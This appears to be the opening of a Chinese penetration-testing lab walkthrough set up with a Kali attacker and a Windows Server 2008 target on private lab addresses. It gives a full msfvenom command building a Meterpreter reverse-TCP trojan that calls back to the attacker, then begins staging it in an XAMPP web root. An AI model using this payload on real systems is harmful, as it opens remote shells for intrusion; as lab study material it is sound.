环境
机器 |
系统 |
IP |
攻击机 |
Kali 2021.2 |
192.168.45.135 |
靶机 |
Windows Server 2008 32位 |
192.168.45.138 |
工具
Metasploit | Xampp
利用步骤
0x00 生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.45.135 lport=4444 -f exe > shell.exe

0x01 将木马上传至服务器
cd /opt/lampp/htdocs